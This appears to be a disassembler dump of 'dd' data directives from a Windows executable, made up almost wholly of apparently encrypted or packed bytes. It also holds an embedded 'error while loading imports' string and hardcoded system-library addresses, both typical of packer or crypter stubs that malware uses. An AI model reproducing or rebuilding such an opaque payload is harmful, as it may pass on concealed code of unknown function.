		dd 296CADB6h, 19DC587Bh, 0AE84A9AAh, 6D7C2E6Ch,	2E27B86h
		dd 19FDA758h, 537813FDh, 82BD8891h, 13CBC8C7h, 1E4C6CAEh
		dd 8398E44Bh, 0B8CF54D0h, 13249B5h, 40C101Bh, 0D2511018h
		dd 47ED96A7h, 3F451804h, 0E5CF002Ch, 56197C20h,	0A47DA2Ch
		dd 7253C55Dh, 6CADF361h, 8BB4E6h, 6CADF313h, 0DEC3D118h
		dd 0F2A2CF07h, 0F8E57C20h, 336CAE84h, 7DEC3D1h,	10F2A2CFh
		dd 1918040Ch, 0A152EB0Ah, 46EE7FFAh, 3F45E5CFh,	8A215D2Ch
		dd 2666403Ah, 0A7B41BEEh, 206CAE39h, 19DB4172h,	567DEF0Ah
		dd 6CAE8545h, 31E290C2h, 0CCC3922Bh, 6CAE84CFh,	33791A48h
		dd 3F457C20h, 0B8CF002Ch, 84B9DAE9h, 86F36CAEh,	9A4517EBh
		dd 2C3F4592h, 0E5180400h, 6CAE84F8h, 5F3B4533h,	805A0A25h
		dd 0FCC012D2h, 0CFE48CA9h, 0D2059D4h, 0E3788461h, 397FA6F8h
		dd 7DEFCE0h, 5D649F92h,	8A325CB4h, 2CC0F641h, 459F85BEh
		dd 0CF002C3Fh, 2D4045E5h, 19180401h, 0D5368DFDh, 0D28D1B6Dh
		dd 12122D4Bh, 0A191804h, 25A053ECh, 0DB1CFADBh,	0EF0A19D0h
		dd 2BD4965Eh, 0C965F600h, 97E5E5CFh, 9CDB1CFAh,	5C2D4045h
		dd 8515068Dh, 0E0B26CAEh, 0E5CF753Fh, 12D4045h,	3B451804h
		dd 18040C20h, 7DE1C00h,	2D4045CFh, 45E5CF01h, 0CF0C203Bh
		dd 2C3F45E5h, 0EA0A1900h, 28CB915Dh, 4045E04Ch,	6A265C2Dh
		dd 6CACA659h, 46D37E8h,	0DEC3D118h, 3F45CF07h, 5B0B2653h
		dd 0CF53D381h, 853942B8h, 4FCDDB4Fh, 0E3839CE6h, 10DE4679h
		dd 97A8D251h, 16C95E9Eh, 4518040Eh, 0CF012D40h,	5F1742B8h
		dd 0AC6EFEADh, 7C20A9F3h, 0AE84F8E5h, 3945336Ch, 9EE74222h
		dd 4E881FCh, 51BCB066h,	6F59112Ch, 0B5BB06B8h, 0A2CF07DEh
		dd 255110F2h, 69B5117Dh, 161EC156h, 3F451804h, 1804002Ch
		dd 0AA190C10h, 6CAE84ADh, 0CF34782Ah, 2C3F45E5h, 96A7D65Dh
		dd 19D5649Fh, 0CF949043h, 0D2F7B2E5h, 0B53085EDh, 450441ADh
		dd 0F7FF90EEh, 2C296475h, 0AB6CAE85h, 195EC6F9h, 855A7B56h
		dd 0AFFD6CAEh, 20E64EF4h, 0F00A197Ch, 2AD5975Fh, 0AE84B2A3h
		dd 3F45F96Ch, 9BE5402Ch, 7B4BEC80h, 720975ACh, 0D13AE872h
		dd 0CF07DEDBh, 3E45F2A2h, 8494810Ch, 61336CAEh,	1804F3B3h
		dd 0AA190C10h, 6CAE84A9h, 0CF307C2Eh, 0DE26E5E5h, 81506CAEh
		dd 0AEDE1102h, 3BE4B66Ch, 0F00A1971h, 80F9A45Fh, 180441EDh
		dd 0AA190C10h, 6CAE84A9h, 0CF307C2Eh, 0B9FD19E5h, 73FA896Eh
		dd 1ECC37E8h, 15B25137h, 0D213C45h, 0C10E5CFh, 5EEF0A19h
		dd 0EF90A7D7h, 84A8B518h, 7D2F6CAEh, 7B561931h,	6CAE855Ah
		dd 14018CFDh, 0B36CAE85h, 640033E1h, 8FD8E5F8h,	0D1D3DCC8h
		dd 0CF07DEC3h, 0AA190C10h, 6CAE84A9h, 0A6D05F2Eh, 851B3895h
		dd 0EEBC6CAEh, 0BD3A2938h, 19B5FFA0h, 0AE84A9AAh, 307C2E6Ch
		dd 53EC0A19h, 1864C993h, 285F5003h, 0FEA1BCC5h,	223945B6h
		dd 92AD1042h, 0EE935C5Fh, 193C2038h, 0AE84A9AAh, 53F42E6Ch
		dd 223F3DA9h, 0A588590Fh, 0B923C35Ah, 56199E86h, 0AE855A7Bh
		dd 0F4AFFD6Ch, 0A190CE8h, 0C89252EBh, 5EF30C17h, 0EE4504D6h
		dd 5EC6F98Eh, 7DE35FFh,	0D25110CFh, 2D894A9h, 0AA19CB51h
		dd 6CAE84A9h, 19307C2Eh, 0AE84A9AAh, 2750DF6Ch,	777F0E75h
		dd 0BD2FC7F5h, 0CDF68BF0h, 617BACBh, 816CAE85h,	0CF012DD3h
		dd 2C3F45E5h, 52DE9A40h, 5A7B5619h, 0FD6CAE85h,	0E694A5D0h
		dd 76672A3Dh, 116CAE84h, 0FD19E343h, 5872D534h,	0ADBC3BADh
		dd 4A751BC1h, 0D8E546A2h, 0D3DCC88Fh, 42223945h, 0E3839EE7h
		dd 8C60FD06h, 8A5DEDDEh, 0DEE9C334h, 3B45CF07h,	19D45820h
		dd 829DDB56h, 7C4778E2h, 6CAE855Fh, 19FAAAF8h, 0AE84A9AAh
		dd 307C2E6Ch, 13B2E5CFh, 7B1F10Fh, 4E54911h, 0A93C4518h
		dd 6836D108h, 161ECC36h, 7C20E5CFh, 0AE84F8E5h,	0C3D1336Ch
		dd 0A2CF07DEh, 5D742CF2h, 8516078Ah, 0E3B16CAEh, 0AE84F1E2h
		dd 69C4966Ch, 0F6747813h, 0AA196CC0h, 727FA662h, 98B1C8E5h
		dd 0FD19BAEAh, 0D2808BC2h, 0C1D2F1EFh, 466CADA0h, 7CBD6614h
		dd 7E742C10h, 87561936h, 0AE850B08h, 25DE8C6Ch,	7FA676DEh
		dd 0E3431172h, 47E51804h, 31B251D1h, 0BEB6C732h, 64F7012Ch
		dd 9ED1F1BBh, 702E4064h, 8A9B6C39h, 52FD06Dh, 2CCF07DEh
		dd 19367E74h, 0CDC82C56h, 0F2F52278h, 0AE2F0213h, 0D9F4856Ch
		dd 6CAE2EBCh, 0B85B095Bh, 50AAE2A1h, 51DC727Fh,	82581427h
		dd 0F9B5E7D1h, 742CE5CFh, 5619367Eh, 0E68EA1DBh, 848C8904h
		dd 0D7FA6CAEh, 6CAE84C6h, 0EDBF1341h, 74983732h, 13727FA6h
		dd 1804ED41h, 2C3F45h, 0D2E51804h, 0D99D529Fh, 5DEA0A19h
		dd 0EE81FBA2h, 5CED141Bh, 0B8CFF9A3h, 84B9DAE9h, 0C5E6CAEh
		dd 3F45C953h, 4504002Ch, 0EBFB94EEh, 0B4C53C71h, 87E5A18Bh
		dd 0AC711D97h, 7DE35FFh, 2C3F45CFh, 10E5CF00h, 0A9AA190Ch
		dd 2E6CAE84h, 1804307Ch, 800F3F45h, 6CAE8493h, 84CDCEC5h
		dd 184A6CAEh, 68C4EAB8h, 1C001804h, 10CF07DEh, 0A9AA190Ch
		dd 2E6CAE84h, 0AA19307Ch, 6CAE84A9h, 94810CDFh,	336CAE84h
		dd 775ABE61h, 0B041770Ah, 5731614Ah, 22DDE739h,	45E5CF7Ah
		dd 0CF002C3Fh, 203B45E5h, 1804D458h, 72F3E45h, 2120E5CFh
		dd 0E85B7C2h, 6CAE850Dh, 8C2AD88Ah, 0E9AD35B3h,	46EE910Eh
		dd 0AE84F8E5h, 73836E6Ch, 45713BE4h, 0E5402C3Fh, 40E08C9Fh
		dd 80199F46h, 0EB0A199Ch, 0C661A152h, 45F2A20Eh, 245E233Ah
		dd 1B72D3C2h, 56DE816Ah
		dd 53EC0A19h, 334CB693h, 0D8FBA933h, 8FE5301Ch,	0A4ADA99Fh
		dd 3233A45h, 3A45E5CFh,	5814255Ch, 450DC82h, 3E9E518h
		dd 0C28776h, 0F00A191Ch, 0C362A45Fh, 233A4503h,	45E5CF03h
		dd 908D003Ah, 376CAE84h, 4FFB765h, 84F5E518h, 0B43E6CAEh
		dd 0CF07DEE8h, 3233A45h, 3A45E5CFh, 18040323h, 0AE84F5E5h
		dd 3B453E6Ch, 9AE14C20h, 59F3DD0Bh, 21D7EF3Fh, 0DD8AA4Dh
		dd 0A3720BABh, 0AE74EFECh, 193A686Ch, 0DB561913h, 1102839Eh
		dd 1B6CAE85h, 1D4F43DEh, 4D85A062h, 215C3A45h, 0CFCA5A08h
		dd 233A45E5h, 0E5180403h, 6CAE84F5h, 19E8B43Eh,	855A7B56h
		dd 0AFFD6CAEh, 33F332F4h, 8D003A45h, 6CAE8490h,	0A2B76537h
		dd 58E280B8h, 7D26680Eh, 45E5CF37h, 245E233Ah, 685684Bh
		dd 55F00CA0h, 4DCAA2D8h, 447ED96h, 41BFB245h, 84B6A72Eh
		dd 3516CAEh, 0FD19D450h, 0D426BD60h, 0E7551826h, 0E7A723E7h
		dd 72870E31h, 0B93EA695h, 0C0CF9ED1h, 6CAE84D3h, 0F20F2674h
		dd 2AD5975Fh, 0CF07DE02h, 3233A45h, 3E45E5CFh, 1804072Fh
		dd 5DEA0A19h, 0ED7CFBA2h, 2BFD1941h, 5DA07BFCh,	0BF9B4172h
		dd 7DE1C00h, 2F3E45CFh,	0F10A1907h, 29CA905Ch, 3A45AC88h
		dd 0E5CF0323h, 2223945h, 1FB24504h, 6CAE84FEh, 0E927CC3h
		dd 80000594h, 0AF95A4D2h, 0EBA95F5Fh, 0D6E56CC8h, 0DD8A6203h
		dd 2223945h, 3945E5CFh,	0C34915AAh, 38EE3A64h, 0ACC13A29h
		dd 1804A9F3h, 30A493E5h, 699C5ACh, 725145Fh, 0C9909C47h
		dd 0CF07DEDBh, 225D3945h, 40760B74h, 24083EACh,	0D6EF0A19h
		dd 0A6317A9Bh, 25DE8CF3h, 3C4598F4h, 0A1DD5021h, 443E98Ah
		dd 8AE6E518h, 45CD758Ch, 0C215E3Ch, 5D4FA60h, 102E8AD9h
		dd 0A4D220B2h, 0B624B1ECh, 67CDF618h, 1C42B8CFh, 0D20AA894h
		dd 2DD83F32h, 0D421F2F7h, 0FD19012Bh, 8C9EF5C8h, 0FE218FBh
		dd 0E61C5524h, 0DD1A0132h, 4504EC40h, 84FE1FB2h, 0CB996CAEh
		dd 56190C28h, 0B24F922Ch, 0B71E3F32h, 6CAE79A6h, 56407321h
		dd 91B49A6h, 9F9207DEh,	1D66CF62h, 0C5FE6C00h, 23C455Fh
		dd 0AE848E8Fh, 0B55B096Ch, 0E9B8CFF9h, 0E063828Dh, 9E7716ADh
		dd 6CAE767Dh, 0A0E5481Ah, 587BE18Dh, 213C45DCh,	0E518040Dh
		dd 6CAE84F5h, 233A453Eh, 809DE643h, 0AC7B4BECh,	518D7C0Ah
		dd 0F352CD3Ch, 86973AE1h, 16CAE18h, 0AAF2AD53h,	19CF07DEh
		dd 855A7B56h, 0AFFD6CAEh, 3D50A9F4h, 4B38362Ch,	0F07BD894h
		dd 0E5CF65CFh, 0D213C45h, 9CD31804h, 796F3366h,	0C9640D8Eh
		dd 0BEE699B4h, 0FD19E5CFh, 0C931CE71h, 0AFF6A905h, 4773F52h
		dd 0DB80E518h, 0FAB8E7Fh, 9207DE25h, 4DAA649Fh,	0CB510230h
		dd 53EC0A19h, 0F16C993h, 508A5FF2h, 12E114C7h, 8201D03Bh
		dd 6CADFF91h, 0F1BB6436h, 3945E5CFh, 0A190222h,	0C5AF50EDh
		dd 53F1E559h, 453ABD8Fh, 0CF022239h, 213C45E5h,	0E4992A50h
		dd 20E3165Fh, 1804357Fh, 2223945h, 0C3D11804h, 45CF07DEh
		dd 0CF0D213Ch, 0DCC542B8h, 4B2CF34h, 9142F94Ah,	139458Bh
		dd 0AE849182h, 0DC1B366Ch, 153BA14Dh, 0E5CFCF67h, 82013945h
		dd 6CAE8491h, 0FEB66436h, 3C451804h, 65091E5Eh,	84ECE9A4h
		dd 396B6CAEh, 19C9650Bh, 855A7B56h, 0AFFD6CAEh,	0CE8F4h
		dd 9207DE1Ch, 84CFCCC3h, 0A0E56CAEh, 877BE18Dh,	45022AD5h
		dd 0CF022239h, 40C10E5h, 0F895EE45h, 0E74D76F4h, 0D213C45h
		dd 49B5B8CFh, 191B0132h, 36C970FDh, 0CA5B56FDh,	20E093ACh
		dd 84F8E57Ch, 836E6CAEh, 7C38DB76h, 0A19C3D1h, 44517CF0h
		dd 0C36CAE85h, 2603E391h, 3EAC40DDh, 90575708h,	7B561950h
		dd 6CAE855Ah, 4EF4AFFDh, 0ED7FE5E6h, 45B46CAEh,	6EC9A43Fh
		dd 9C9950Bh, 9341DA24h,	0ED0A1993h, 4CB19C50h, 94500331h
		dd 190C10A8h, 0AE84A9AAh, 6D7C2E6Ch, 8E47986h, 249B90DAh
		dd 4270E538h, 0E5CF8B91h, 0CA22C1E5h, 0A9E4B705h, 5CA22ACh
		dd 22E6F7DAh, 336105CAh, 0F582F2DFh, 82BD63F9h,	2C3F459Ah
		dd 45E5CF00h, 4022239h,	2C3F4518h, 34FD1900h, 5D0772BDh
		dd 0ACA9E4F5h, 2B6CAE72h, 0B29E4679h, 7DE1C00h,	223945CFh
		dd 19E5CF02h, 4ED9F8FDh, 4B74FD00h, 0AD819AE0h,	0DAE9B8CFh
		dd 6CAE84B9h, 0C9530C5Eh, 2B503E45h, 4CC6016h, 0CFD1918h
		dd 47615AB9h, 1D59C4FFh, 1804260Eh, 7DE1C00h, 2F3E45CFh
		dd 7B561907h, 6CAE855Ah, 23F4AFFDh, 223945C9h, 2CE5CF02h
		dd 16007B7Ah, 0CD9F57E8h, 0C998691Fh, 0AE84D9FAh, 13008F6Ch
		dd 0B46CAE85h, 8FB0E2E6h, 7B5619A5h, 6CAE855Ah,	0E8F4AFFDh
		dd 0BD9AE50Ch, 0E191E102h, 9207DE33h, 84CFCCC3h, 1A486CAEh
		dd 27473379h, 0C514E0Ah, 290h, 0AE99E520h, 45926CAEh, 2A50213Ch
		dd 0AD18FBDCh, 0ACA9E452h, 2B6CADE8h, 8CA84B79h, 91EE4504h
		dd 0D8946FCh, 21B8807h,	0C10CB51h, 84A9AA19h, 7C2E6CAEh
		dd 45E5CF30h, 172A533Fh, 57DF8D5Fh, 39451804h, 0F75215Dh
		dd 0C4EA707Ch, 18041E16h, 5AA90FE5h, 0FD1924B8h, 62EB649Bh
		dd 0B8E39C4Ch, 0CF072F3Ch, 7F64E5E5h, 454F6EB5h, 0D65D2C3Fh
		dd 2D894A9h, 0E5CFCB51h, 2C3F45h, 39451804h, 0EC0A215Dh
		dd 47376E8Dh, 317D235Ah, 0C3D11804h, 9F9207DEh,	401ACA65h
		dd 3F45959Fh, 0E5CF002Ch, 2223945h, 3F45E5CFh, 4504002Ch
		dd 0F4F895EEh, 0AF82C876h, 9CD8407Ah, 7BE5B9E3h, 0B0BA61A3h
		dd 7C8568FFh, 19763EE1h, 0A35CF10Ah, 2551C463h,	0A4D24DEDh
		dd 0DB01DB8Bh, 0F3ACBA92h, 2C3F45A9h, 0B5B8CF00h, 0A8323249h
		dd 31E27985h, 0DB56196Bh, 1203829Dh, 0B56CAE85h, 0B713CE7h
		dd 18043C70h, 0D213C45h, 3F45E5CFh, 0E5CF002Ch,	43233A45h
		dd 195DC199h, 839EDB56h, 7F4679E3h, 6CAE855Eh, 4FBABF9h
		dd 0F00BE518h, 0F67DC63Eh, 64C0F38Ch, 472F3E45h, 0E68E9FDAh
		dd 1B9D483Eh, 0FD1984B0h, 6116BD50h, 4A5C0745h,	0C105B9Bh
		dd 84A9AA19h, 7C2E6CAEh, 0A9AA1930h, 2E6CAE84h,	0E5CF307Ch
		dd 56190C10h, 850B0887h, 0A18C6CAEh, 0B228C457h, 0C5D6FD8Ch
		dd 426CAE84h, 77646F10h, 0E16CAE84h, 3D9255F5h,	3DE61098h
		dd 4A589DBh, 213C4518h,	0D118040Dh, 0EC0A19C3h,	0C71EA053h
		dd 0F0C8352h, 886CAE85h, 107339DAh, 12038E51h, 0B56CAE85h
		dd 1B344EE7h, 0AA193C78h, 6CAE84A9h, 102950DFh,	0E3D58E5Ch
		dd 0AA19FDB1h, 6CAE84A9h, 866D7C2Eh, 5E0CE07Dh,	0D292ADD7h
		dd 0CFCD5708h, 6B26E9B8h, 6CAE856Ah, 4556BFEDh,	0C26CAE85h
		dd 0F4F88FEFh, 959F4076h, 0A4D25110h, 194CE88Bh, 61A621FDh
		dd 9B44AE7Eh, 95D4C1CCh, 21736CADh, 0E518040Dh,	0C63EF00Bh
		dd 0DEC3D120h, 0C10CF07h, 84A9AA19h, 0A7DF6CAEh, 0F3886546h
		dd 0C632ED6Dh, 56199894h, 0F2BCDB2Ch, 62F8F489h, 36EB5634h
		dd 295860Dh, 6CC36CAEh,	7D5B0415h, 0FE2534A7h, 4A782CACh
		dd 7B5619DAh, 6CAE855Ah, 23F4AFFDh, 0C3E45C9h, 0AE849481h
		dd 0B361336Ch, 1804BBA7h, 0D213C45h, 4BB5B8CFh,	849FBC13h
		dd 6A386CAEh, 132A844h,	0E57C201Bh, 6CAE84F8h, 0DEC3D133h
		dd 0F2A2CF07h, 18040C10h, 0D213C45h, 3742B8CFh,	30974D6Fh
		dd 4550DC87h, 4002C3Fh,	457C2018h, 0CF002C3Fh, 2C3F45E5h
		dd 0E5180400h, 6CAE84F8h, 203B4533h, 8497E14Ch,	0C067B7E8h
		dd 0DEBDA37Eh, 0A19CF07h, 0C89252EBh, 65F60C17h, 0B5B8CFC9h
		dd 2400334Ah, 5D2C3F45h, 9C1AABD6h, 7956B837h, 0F674782Eh
		dd 180467CDh
		dd 1EF5FD19h, 0AC1BBE4Dh, 0F50B08F3h, 0F67D6CADh, 61CBF489h
		dd 4D213C45h, 0E88495E0h, 7EC067B7h, 7DEA78Dh, 0EA0A19CFh
		dd 28CB915Dh, 0C864F70Dh, 5110E5CFh, 0DA8AA3D2h, 4D55F00h
		dd 0EC0A1918h, 7F85A053h, 450440ECh, 96508819h,	0AE511033h
		dd 22394586h, 5CC09842h, 84ADAA19h, 54DB6CAEh, 0B23E9E2Bh
		dd 7199EBC2h, 15389043h, 0CA905CEFh, 0B8CF0824h, 0B4A43042h
		dd 0CA316BEEh, 4AD28DB3h, 2C3F45h, 4EB5B8CFh, 0A218043Fh
		dd 213C45F2h, 8AA1DD50h, 0D55F00DAh, 0C101804h,	0F82FFD19h
		dd 913A3577h, 0E5481BEEh, 0EBD28DA0h, 6CADC5EAh, 0CF773F6Dh
		dd 197C20E5h, 855A7B56h, 810C6CAEh, 6CAE8494h, 33616133h
		dd 41DC2500h, 1FFD19EDh, 0D5669060h, 0E82336AFh, 11B64F06h
		dd 1B41775Ah, 0F1BC409Ah, 1798BBFEh, 233A453Dh,	0E5180403h
		dd 0DDF9CC6Ch, 52ED171Ah, 3A45FBA1h, 0E5CF0323h, 3233A45h
		dd 0F3E51804h, 386CAE84h, 7DEC3D1h, 233A45CFh, 7B561903h
		dd 6CAE855Ah, 23F4AFFDh, 233A45C9h, 0EE450403h,	5EC6F98Eh
		dd 1B2807F6h, 7B561909h, 6CAE855Ah, 32F4AFFDh, 3A4533F3h
		dd 0B8CF0323h, 13249B5h, 7B56191Bh, 6CAE855Ah, 0A9F4AFFDh
		dd 4773F4Eh, 0FA93EE45h, 5FF20FEAh, 19AEF6A9h, 18E41FDh
		dd 0A45FB057h, 8E819559h, 35FF9E7Ch, 45CF07DEh,	0CF03233Ah
		dd 233A45E5h, 8A81245Eh, 0C1A8B518h, 7D2F6CADh,	130E9FC7h
		dd 97907CDh, 82BD95Fh, 0EE45042Ch, 0E67B8090h, 0C6AE5C0Eh
		dd 0DB317B24h, 0CF07DEC9h, 3A45E5CFh, 5A08215Ch, 191804CAh
		dd 9C50ED0Ah, 949815CEh, 53EC0A19h, 0B6A7EA93h,	516CAE84h
		dd 71A25D03h, 0AB3A451Bh, 87C65B14h, 57DF8DE3h,	1FB24504h
		dd 6CAE84FEh, 3CCCAAC3h, 15F55BA3h, 0CA07D8CFh,	0C324D3Eh
		dd 52E5C953h, 59AFA049h, 7DE35FFh, 233A45CFh, 45E5CF03h
		dd 1CD8023Ch, 49CBBCA5h, 3123309Dh, 0F6A46CAEh,	18046CC0h
		dd 0EBAB3A45h, 8182F7Dh, 86B4C73Dh, 45045CD0h, 4093A719h
		dd 9F4D213Ah, 7037C761h, 9B446A07h, 233A4591h, 4D001143h
		dd 8305D52Eh, 29C552A2h, 4FF13486h, 7DE6E72h, 213C45CFh
		dd 45E5CF0Dh, 8215C3Ah,	0E5CFCA5Ah, 1E5E3C45h, 4CB5B09h
		dd 0EA0A1918h, 3A5BA25Dh, 716CAE85h, 24503E45h,	0A08D6117h
		dd 3B29C556h, 4FD6EB04h, 8BFDF5B1h, 0D1DFDA5Ch,	45CF07DEh
		dd 0CF0D213Ch, 40C10E5h, 0FA93EE45h, 3C4553D9h,	9E7D60A9h
		dd 33E188D3h, 10180473h, 0A8602551h, 63031A61h,	43743F9h
		dd 191C183Bh, 0AE84ADAAh, 34782A6Ch, 3C45E5CFh,	860958A9h
		dd 0EE980C94h, 834B0EE3h, 0B26D8BB9h, 68C9D07Ch, 19E9456Bh
		dd 2452EB0Ah, 67B8ED78h, 950639F9h, 45F2A2BFh, 61F62C3Fh
		dd 0F40ECF71h, 19FC6078h, 0F8BBAAFDh, 79821723h, 0AC5208E4h
		dd 450DE9F3h, 0CF072F3Eh, 2D4045E5h, 19180401h,	9353EC0Ah
		dd 0D1E64C9h, 38D8FB61h, 40C1014h, 89581945h, 5A899EE6h
		dd 0A19F3B9h, 1441DAEBh, 0A4D28257h, 0B36CFEF6h, 0B6FE93E8h
		dd 0A19E5CFh, 0C89252EBh, 62986917h, 0D405833Fh, 329CAAAh
		dd 0AE84F8E5h, 0C3D1336Ch, 9F9207DEh, 8A39C85Fh, 6CAE8489h
		dd 0F9A35C0Eh, 0A19F2A2h, 0FEA55EEFh, 444E885h,	84F8E518h
		dd 45336CAEh, 0E7422239h, 0B8EF879Ah, 0A079BF66h, 0CF07DEBCh
		dd 12D4045h, 2CEC0A19h,	33A945D6h, 3641520Dh, 852B2867h
		dd 765D6CAEh, 6CAE8565h, 250B0E2h, 4045CB51h, 1804012Dh
		dd 0AE84F8E5h, 0C3D1336Ch, 19CF07DEh, 0A45FF00Ah, 45E984F9h
		dd 0A8E5E5CFh, 836CAEDDh, 12D4045h, 0AA191804h,	6CAE84A9h
		dd 0F8647C2Eh, 84A9AA19h, 7C2E6CAEh, 10E5CF30h,	0A9AA190Ch
		dd 2E6CAE84h, 0A19307Ch, 0C5AF50EDh, 0BDD02904h, 0A199A82h
		dd 0CA905CF1h, 64F90229h, 19E5CFC8h, 0AE84A9AAh, 647C2E6Ch
		dd 0ED0A19F8h, 15CE9C50h, 855E7F52h, 79086CAEh,	0F6FE8FEAh
		dd 847C9974h, 0C11B6CAEh, 8ED521D5h, 0C5FEAC3Fh, 5DD0A1F3h
		dd 0CE560924h, 5619E5CFh, 879E5D2Ch, 666F146Bh,	6CADEC75h
		dd 739F4012h, 0EB0A19C3h, 1460A152h, 4D213C45h,	0C25F9885h
		dd 2453DEE9h, 847A9B36h, 4F1D6CAEh, 6C17D599h, 0AE846F61h
		dd 9A14E56Ch, 9DBE6CF0h, 376D326Ch, 6D326D22h, 5DEC9D77h
		dd 326D6576h, 9FBC136Dh, 386D326Ch, 3EBB966Ah, 0EB994323h
		dd 4176DC8h, 15EE14A3h,	87524BFCh, 85963DCCh, 26D31BEh
		dd 3724AF50h, 816D7350h, 3, 45190BA3h, 0DB462E3Dh, 7BE68EA1h
		dd 98856900h, 3A27CF5Ch, 65C0ACC1h, 84610D20h, 230EE67Bh
		dd 4CA945D4h, 0B2551932h, 0D6EEF768h, 58F9E905h, 1370FFFAh
		dd 0BBA32E1Dh, 38B86037h, 305D723h, 6E8C5h, 0AD720000h
		dd 0EA49F4AFh, 5E19F680h, 2C58D8Bh, 0C68105D1h,	64DAh
		dd 6B19503h, 0DB805D1h,	89000019h, 0D11FF595h, 8B3E8B05h
		dd 0D108D19Dh, 38C78105h, 0E9271F2Bh, 0Dh, 0FA5A1D27h
		dd 0F3BA9B74h, 71C02BA6h, 17F7810Dh, 8B4588F6h,	0D1147195h
		dd 43F78105h, 0F4BBC5Dh, 0BB57CEBFh, 407BBA84h,	8D29068Fh
		dd 5D11151h, 184CEE81h,	8B0F3735h, 16h,	11E9h, 726D5600h
		dd 500EDD41h, 1F90B481h, 0E53226E6h, 0C681BA84h, 37351848h
		dd 13D9589h, 0E88105D1h, 1, 0FF83850Fh,	0D381FFFFh, 3C51987Eh
		dd 127E9h, 765B5000h, 4EEFAC73h, 15h, 206E4100h, 6F727245h
		dd 61682072h, 636F2073h, 65727275h, 68772064h, 20656C69h
		dd 64616F6Ch, 20676E69h, 6F706D69h, 737472h, 7C810637h
		dd 7C81CE03h, 7C80C058h, 7C901005h, 7C9010EDh, 7C800000h
		dd 6 dup(0)
		dd 7C80ADA0h, 2Dh dup(0)
		dd 0C706E148h, 63921DF4h, 8F96A6CFh, 37C47053h,	0B11C1311h
		dd 0E3077B35h, 2B616641h, 0F29E3572h, 321177A9h, 3B90EF88h
		dd 0BF10B750h, 0E1B4ABBFh, 69C69914h, 2FA8E5D0h, 3210B756h
		dd 61457156h, 321177A9h, 3B90EF88h, 0BF10B750h,	0E18BDABFh
		dd 69C69914h, 0B1D5EDD0h, 0E53132F9h, 0B61A6627h, 32156601h
		dd 20A3E305h, 0E2EA661Dh, 20F3E3AFh, 0E2EA6648h, 16CCE34Eh
		dd 5A436395h, 0AEBDDE70h, 16E8D3EEh, 0B7986359h, 37C13AE5h
		dd 0B79CB6DDh, 37C447F8h, 1731E305h, 0BF456393h, 0E53163A7h
		dd 0A7EA3614h, 37C457DDh, 3044E383h, 321563F3h,	0B7D36611h
		dd 37C44251h, 5B7C0E01h, 87EAE850h, 37C46088h, 0A5FE305h
		dd 0E2EA6395h, 2728E3ABh, 0B7D363C0h, 37C44251h, 594B0E07h
		dd 87EAFA45h, 37C46088h, 0A5FE305h, 0E2EA6395h,	1629E3ABh
		dd 0B7D363C6h, 37C44251h, 5A3C0E10h, 87EA8840h,	37C46088h
		dd 0A5FE305h, 0E2EA6395h, 1655E3ABh, 0B7D363C6h, 37C44251h
		dd 0AD70E01h, 87EABC42h, 37C46088h, 0A5FE305h, 0E2EA6395h
		dd 1651E3ABh, 8F9663C6h, 37C44661h, 77906944h, 0F4156622h
		dd 0E331BF94h, 0B47D238Dh, 0CDEF463Ah, 0E313FF97h, 7890EB14h
		dd 0CD10B7B0h, 7A90EF94h, 0F410B106h, 0E331BF94h, 0F17D2A8Dh
		dd 0CDF54094h, 0E313FF97h, 7890EB14h, 0CD10B7B0h, 7E90EF94h
		dd 0DB10B106h, 32156651h, 16CCE34Eh, 5A476395h,	8E5F822Fh
		dd 11A4D3EEh, 0B7986359h, 37C45E0Eh, 0B79CB6DDh, 37C24259h
		dd 16CCE34Eh, 5A476395h, 94592C6Ah, 11A4D3EEh, 0B7986359h
		dd 37C45E0Eh, 0B79CB6DDh, 37C2425Dh, 16CCE34Eh,	5A476395h
		dd 0CF57D2C8h, 348CD3EEh, 0B7986359h, 37C45E0Eh, 0B79CB6DDh
		dd 37C47DD4h, 16CCE34Eh, 5A626395h, 0C182CE81h,	3A3CD3EEh
		dd 0B7986359h, 37C45E0Eh, 0B79CB6DDh, 37C46FD0h, 16CCE34Eh
		dd 5A476395h, 0B8C85735h, 348CD3EEh, 0B7986359h, 37C45E0Eh
		dd 0B79CB6DDh, 37C4756Ch, 16CCE34Eh, 5A436395h,	0E60A0B1Bh
		dd 16E8D3EEh, 0B7986359h, 37C13AE5h, 0B79CB6DDh, 37C441B4h
		dd 16CCE34Eh, 5A526395h, 0B3C97658h, 348CD3EEh,	0B7986359h
		dd 37C45E0Eh, 0B79CB6DDh, 37C47674h, 16CCE34Eh,	5A526395h
		dd 0B81AD3C0h, 348CD3EEh, 0B7986359h, 37C45E0Eh, 0B79CB6DDh
		dd 37C2427Dh, 1A14DB0Bh, 3D156395h, 321337A6h, 0EB90A011h
		dd 7E10B7ACh, 0E8098F2Ch, 0ABA099FBh, 0BF10B717h, 0E32D2C0Dh
		dd 0BBC59941h, 0E5313EA7h, 0EB90A014h, 7E10B7ACh, 46CBA82Ch
		dd 0ABA099FFh, 0BF10B717h, 0E32D2C0Dh, 0BBC59941h, 0E5313AA7h
		dd 0EB90A014h, 7E10B7ACh, 0B397592Ch, 0ABA09995h, 0BF10B717h
		dd 0E32D2C0Dh, 0BBC59941h, 0E53106A7h, 0EB90A014h, 7E10B7ACh
		dd 1D557E2Ch, 0ABA09991h, 0BF10B717h, 0E32D2C0Dh, 0BBC59941h
		dd 0E53106A7h, 0EB90A014h, 7410B7ACh, 0EC13722Ch, 0ABA09998h
		dd 0BF10B717h, 0E32D2C0Dh, 0BBC59941h, 0E5310EA7h, 0EB90A014h
		dd 7510B7ACh, 0EE051C2Ch, 0ABA099A3h, 0BF10B717h, 0E32D2C0Dh
		dd 0BBC59941h, 0E53116A7h, 0EB90A014h, 7510B7ACh, 0B59BCA2Ch
		dd 0ABA099CDh, 0BF10B717h, 0E32D2C0Dh, 0BBC59941h, 0E53112A7h
		dd 0EB90A014h, 7510B7ACh, 0A8B2B42Ch, 0ABA099F6h, 0BF10B717h
		dd 0E32D2C0Dh, 0BBC59941h, 0E5311EA7h, 0EB90A014h, 7510B7ACh
		dd 0F32C622Ch, 0ABA09998h, 0BF10B717h, 0E32D2C0Dh, 0BBC59941h
		dd 0E5311AA7h, 0B3A8E514h, 3210B796h, 0B7D34631h, 37C442FBh
		dd 1F720E56h, 87EA86FAh, 37C460DDh, 0A5FE3AFh, 0E2EA63C0h
		dd 1695E301h, 0B7D36393h, 37C442FBh, 81A40E56h,	87EAE8A1h
		dd 37C460DDh, 0A5FE3AFh, 0E2EA63C0h, 1691E301h,	0B7D36393h
